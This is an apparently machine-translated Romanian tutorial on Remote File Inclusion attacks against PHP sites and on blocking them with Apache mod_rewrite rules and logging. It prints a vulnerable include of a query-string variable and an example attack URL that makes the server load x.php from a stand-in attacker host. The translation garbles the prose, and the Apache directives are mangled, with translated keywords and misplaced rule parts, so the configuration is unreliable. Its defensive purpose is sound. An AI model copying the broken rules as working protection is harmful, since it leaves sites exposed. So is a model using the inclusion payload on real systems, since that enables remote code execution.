..
Una dintre cele mai frecvente atacuri de suferit de site-uri se face prin încercarea de a include fişierele care conţin cod malware, teoretic vorbind de un atac este foarte simplu de a efectua, să facă acest lucru doar pentru că un fişier care conţine cod maliţios şi un URL de tip browser-ul.
Acest tip de atac, cunoscut sub numele de termenul tehnic pentru Incluziune fişiere de la distanţă sau cu acronimul simplu pentru RFI, este adesea asociat cu un mod numit intruziune XSA (Cross-Server Atac) face de obicei pentru a compromite securitatea site-urilor Web dacă nu serverul Web, un factor care face chiar mai periculoase pentru RFI.
Pentru a lansa un atac RFI, un atacator are nevoie de o "memorie" în interiorul unui program în care să facă includerea sa de la distanţă, acest "spaţiu" este, în general, o "gaură" (bug) de securitate care îl face un script vulnerabil.
Cazul clasic al unei scurgeri sensibile la RFI este legat de trecerea prin pagina de nume de variabile, doar o simpla bucata de cod ca aceasta să pericliteze o cerere:
# Include fişiere prin variabila querystring trecut prin include ($ _GET ['pagina']);În codul avem o variabila nedefinita, sau mai degrabă care urmează să fie definite în conformitate cu parametrii trimis prin querystring, de exemplu, dacă URL-ul direct la pagina care conţine lista propusă ar arata astfel:
http://www.sito.com/index.php?pagina=news.phpvaloarea din variabila $ pagina este egal cu "Actualitatea" un atac asupra acestei cereri pot fi executate în acest mod:
http://www.sito.com/index.php?pagina=http://www.attacco.com/x.phpDosarul "x.php", în cazul unui atac de succes, ar putea conţine orice tip de cod maliţios şi a provoca daune mult mai substanţiale şi definitive decât simplitatea de atac poate fi făcut să se gândească.
Din fericire, există unele tehnici de apărare, care poate fi utilizat pentru a preveni astfel de atacuri, în această scurtă discuţie vom analiza unul bazat pe URL-ul rescrie modul (mod_rewrite), furnizate de serverul web Apache, care pot fi utilizate prin metode diferite.
Una dintre cele mai clasice pentru a trimite instrucţiuni de la un server Web Apache este de a utiliza un clasic. Htaccess care urmează să fie incluse în dosarul pe care doriţi pentru a proteja de atac.
Prima metoda pe care o folosim este de a insera o regulă simplă, în a. htaccess:
RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)
^(.+)$ RewriteRule - [F]
Regula prevede că formulate într-un querystring ("{} QUERY_STRING") nu pot fi transferate argumente care conţin sufixele "http", "https" si "ftp", indiferent de conţinutul anterior sau următor ("(.*)" ) parametri.
Dacă se întâmplă acest lucru pe serverul de web va returna o eroare de tip 403 (interzis).
Cei care au posibilitatea de acces direct la fisierul de configurare al Apache (httpd.conf), acesta poate fi introdus într-un singur recipient care conţine o directivă poate avea un efect comparabil cu normele stabilite prededentemente:
# Verificaţi dacă este disponibil mod_rewrite
<IfModule Mod_rewrite.c>
Activare # motorul rescrie URL-ul
RewriteEngine pe
# Am stabilit regula noastră împotriva RFI
RewriteCond% {QUERY_STRING} (.*)( http | https | ftp): \ / \ /(.*)
# Filtraţi eventualelor solicitări de includere şi de a marca
# Vraibile cu mediul [E = nume_var: valoarea]
^(.+)$ RewriteRule - [F, E = RFI: adevarat]
</ IfModule>
# Creaimo un jurnal al încercărilor de a ne RFI identficato
# Anterior folosind o "variabilă de mediu"
CustomLog / FOLDER_NAME / rfi.log combinate env = RFI
După ce a scris directivă la fişierul de configurare, trebuie să vă salva modificările şi a reporni serverul Web să aibă efect, act de faptul că, la sfârşitul listei, şi în afara a containerului a fost introdus cererea de a crea un fişier jurnal destinat să înregistreze cererile de includere fişier de la distanţă, de monitorizare a acestei mici "note de blocare pentru atacuri RFI," vom descoperi că încercările de Incluziune fişiere de la distanţă la site-urile noastre sunt mai puţin frecvente decât crezut.
| |
Linux (Curs)
Ghid complet pentru open-source de sistem. De la 49 €. |
| |
MySQL (Curs)
De gestionare a bazei de date open-source. De la 39 €. |
| |
PHP (Curs)
Ciclu complet pentru crearea de site-uri Web dinamice. De la 49 €. |